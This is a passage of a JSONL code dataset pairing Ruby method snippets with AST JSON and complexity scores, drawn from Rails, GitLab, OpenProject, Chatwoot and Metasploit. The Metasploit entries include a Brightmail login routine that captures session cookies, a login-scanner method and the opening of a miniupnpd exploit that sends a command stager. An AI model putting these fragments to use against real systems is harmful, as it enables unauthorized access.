tch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"at\"]},{\"type\":\"lvar\",\"children\":[\"schedule_at_for_batch\"]}]}]}]}]}]}]}]}","id":"5095d757-834b-450d-b27f-0017ffa9d66a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb","start_line":94,"raw_source":"def auth(username, password, sid, last_login)\n    sid2 = ''\n\n    res = send_request_cgi!({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),\n      'headers' => {\n        'Referer' => \"https://#{peer}/brightmail/viewLogin.do\",\n        'Connection' => 'keep-alive'\n      },\n      'cookie' => \"userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}\",\n      'vars_post' => {\n        'lastlogin' => last_login,\n        'userLocale' => '',\n        'lang' => 'en_US',\n        'username' => username,\n        'password' => password,\n        'loginBtn' => 'Login'\n      }\n    })\n\n    if res && res.body =~ /Logged in/\n      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]\n      return sid2\n    end\n\n    nil\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"auth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"arg\",\"children\":[\"last_login\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid2\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"brightmail\"]},{\"type\":\"str\",\"children\":[\"login.do\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\"/brightmail/viewLogin.do\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"keep-alive\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"userLanguageCode=en; userCountryCode=US; JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lastlogin\"]},{\"type\":\"lvar\",\"children\":[\"last_login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userLocale\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lang\"]},{\"type\":\"str\",\"children\":[\"en_US\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"loginBtn\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Logged in\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=([a-zA-Z0-9]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid2\"]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"732727ab-b2f5-4562-8ad6-0961518f900a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/comment.rb","start_line":303,"raw_source":"def bust_cache\n    Comments::BustCacheWorker.perform_async(id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bust_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comments\"]},\"BustCacheWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"4afca906-5b1c-4988-8ab2-16fc9b5ecca8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/syncovery_file_sync_backup.rb","start_line":102,"raw_source":"def attempt_login(credential)\n          result_opts = {\n            credential: credential,\n            status: Metasploit::Model::Login::Status::INCORRECT,\n            proof: nil,\n            host: host,\n            port: port,\n            protocol: 'tcp'\n          }\n\n          begin\n            result_opts.merge!(get_login_state(credential.public, credential.private))\n          rescue ::Rex::ConnectionError => e\n            # Something went wrong during login. 'e' knows what's up.\n            result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)\n          end\n\n          Result.new(result_opts)\n        end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"get_login_state\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"UNABLE_TO_CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"result_opts\"]}]}]}]}","id":"0eab7fcc-d718-4f20-a603-54cbae034947"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":132,"raw_source":"def initialize(set:, ast:, controller:, default_action:, to:, formatted:, via:, options_constraints:, anchor:, scope_params:, internal:, options:)\n          @defaults           = scope_params[:defaults]\n          @set                = set\n          @to                 = intern(to)\n          @default_controller = intern(controller)\n          @default_action     = intern(default_action)\n          @anchor             = anchor\n          @via                = via\n          @internal           = internal\n          @scope_options      = scope_params[:options]\n          ast                 = Journey::Ast.new(ast, formatted)\n\n          options = ast.wildcard_options.merge!(options)\n\n          options = normalize_options!(options, ast.path_params, scope_params[:module])\n\n          split_options = constraints(options, ast.path_params)\n\n          constraints = scope_params[:constraints].merge Hash[split_options[:constraints] || []]\n\n          if options_constraints.is_a?(Hash)\n            @defaults = Hash[options_constraints.find_all { |key, default|\n              URL_OPTIONS.include?(key) && (String === default || Integer === default)\n            }].merge @defaults\n            @blocks = scope_params[:blocks]\n            constraints.merge! options_constraints\n          else\n            @blocks = blocks(options_constraints)\n          end\n\n          requirements, conditions = split_constraints ast.path_params, constraints\n          verify_regexp_requirements requirements, ast.wildcard_options\n\n          formats = normalize_format(formatted)\n\n          @requirements = formats[:requirements].merge Hash[requirements]\n          @conditions = Hash[conditions]\n          @defaults = formats[:defaults].merge(@defaults).merge(normalize_defaults(options))\n\n          if ast.path_params.include?(:action) && !@requirements.key?(:action)\n            @defaults[:action] ||= \"index\"\n          end\n\n          @required_defaults = (split_options[:required_defaults] || []).map(&:first)\n\n          ast.requirements = @requirements\n          @path = Journey::Path::Pattern.new(ast, @requirements, JOINED_SEPARATORS, @anchor)\n        end","complexity_score":95.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"set\"]},{\"type\":\"kwarg\",\"children\":[\"ast\"]},{\"type\":\"kwarg\",\"children\":[\"controller\"]},{\"type\":\"kwarg\",\"children\":[\"default_action\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"formatted\"]},{\"type\":\"kwarg\",\"children\":[\"via\"]},{\"type\":\"kwarg\",\"children\":[\"options_constraints\"]},{\"type\":\"kwarg\",\"children\":[\"anchor\"]},{\"type\":\"kwarg\",\"children\":[\"scope_params\"]},{\"type\":\"kwarg\",\"children\":[\"internal\"]},{\"type\":\"kwarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"defaults\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@set\",{\"type\":\"lvar\",\"children\":[\"set\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@to\",{\"type\":\"send\",\"children\":[null,\"intern\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_controller\",{\"type\":\"send\",\"children\":[null,\"intern\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_action\",{\"type\":\"send\",\"children\":[null,\"intern\",{\"type\":\"lvar\",\"children\":[\"default_action\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@anchor\",{\"type\":\"lvar\",\"children\":[\"anchor\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@via\",{\"type\":\"lvar\",\"children\":[\"via\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@internal\",{\"type\":\"lvar\",\"children\":[\"internal\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journey\"]},\"Ast\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ast\"]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"wildcard_options\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"normalize_options!\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"path_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"module\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"split_options\",{\"type\":\"send\",\"children\":[null,\"constraints\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"path_params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constraints\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constraints\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_constraints\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_constraints\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL_OPTIONS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]}]}]}]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@defaults\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@blocks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blocks\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraints\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options_constraints\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@blocks\",{\"type\":\"send\",\"children\":[null,\"blocks\",{\"type\":\"lvar\",\"children\":[\"options_constraints\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"requirements\"]},{\"type\":\"lvasgn\",\"children\":[\"conditions\"]}]},{\"type\":\"send\",\"children\":[null,\"split_constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"path_params\"]},{\"type\":\"lvar\",\"children\":[\"constraints\"]}]}]},{\"type\":\"send\",\"children\":[null,\"verify_regexp_requirements\",{\"type\":\"lvar\",\"children\":[\"requirements\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"wildcard_options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"formats\",{\"type\":\"send\",\"children\":[null,\"normalize_format\",{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@requirements\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requirements\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"requirements\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@conditions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"conditions\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"defaults\"]}]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@defaults\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"normalize_defaults\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"path_params\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requirements\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"!\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\"index\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@required_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"split_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"required_defaults\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"requirements=\",{\"type\":\"ivar\",\"children\":[\"@requirements\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journey\"]},\"Path\"]},\"Pattern\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ast\"]},{\"type\":\"ivar\",\"children\":[\"@requirements\"]},{\"type\":\"const\",\"children\":[null,\"JOINED_SEPARATORS\"]},{\"type\":\"ivar\",\"children\":[\"@anchor\"]}]}]}]}]}","id":"9ee10d00-e047-4366-8ed4-81f588ba631e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/lab.rb","start_line":529,"raw_source":"def initialize(framework, opts)\n      super\n\n      ## Register the commands above\n      console_dispatcher = add_console_dispatcher(LabCommandDispatcher)\n\n      @controller = ::Lab::Controllers::VmController.new\n\n      ## Share the vms\n      console_dispatcher.controller = @controller\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"console_dispatcher\",{\"type\":\"send\",\"children\":[null,\"add_console_dispatcher\",{\"type\":\"const\",\"children\":[null,\"LabCommandDispatcher\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Lab\"]},\"Controllers\"]},\"VmController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console_dispatcher\"]},\"controller=\",{\"type\":\"ivar\",\"children\":[\"@controller\"]}]}]}]}","id":"ccf9bfe9-379b-46de-9819-d95d1e6f6124"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mailgun/webhook_processors/member_invites.rb","start_line":9,"raw_source":"def execute\n          return unless should_process?\n\n          @member = Member.find_by_invite_token(invite_token)\n          update_member_and_log if member\n        rescue ProcessWebhookServiceError => e\n          Gitlab::ErrorTracking.track_exception(e)\n        end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_process?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@member\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"find_by_invite_token\",{\"type\":\"send\",\"children\":[null,\"invite_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},{\"type\":\"send\",\"children\":[null,\"update_member_and_log\"]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessWebhookServiceError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"8edc7c09-376b-4183-9b8d-cec13134524c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reflection_test.rb","start_line":725,"raw_source":"def assert_reflection(klass, association, options)\n      assert reflection = klass.reflect_on_association(association)\n      options.each do |method, value|\n        assert_equal(value, reflection.public_send(method))\n      end\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_reflection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"reflect_on_association\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]}","id":"57a69b0c-8a47-4513-9b86-1a605cc793c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/lib/open_project/github_integration/services/upsert_pull_request.rb","start_line":46,"raw_source":"def find_or_initialize(payload)\n      GithubPullRequest.find_by_github_identifiers(id: payload.fetch(\"id\"),\n                                                   url: payload.fetch(\"html_url\"),\n                                                   initialize: true)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GithubPullRequest\"]},\"find_by_github_identifiers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"html_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialize\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"6c1d79a2-dbb8-4468-b71d-00f01c25b5fc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/tweet_parser_service.rb","start_line":30,"raw_source":"def user\n    tweet_data['user']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tweet_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]}]}","id":"1c122147-535b-4cef-8073-0be504d5250e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/commands/set_permissions_command.rb","start_line":112,"raw_source":"def update_permissions(update_data, http)\n              info \"Updating permissions on #{update_data.drive_item_id}\"\n              delete_permissions(update_data, http)\n              create_permissions(update_data, http)\n            end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"update_data\"]},{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updating permissions on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"drive_item_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_permissions\",{\"type\":\"lvar\",\"children\":[\"update_data\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[null,\"create_permissions\",{\"type\":\"lvar\",\"children\":[\"update_data\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]}]}]}","id":"bc1f0c5b-2efc-4b69-8f11-1f743271bc29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb","start_line":181,"raw_source":"def target_airties\n    print_status(\"Sending exploit to victim #{target.name}...\")\n    execute_cmdstager(\n      flavor: :echo\n    )\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"target_airties\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending exploit to victim 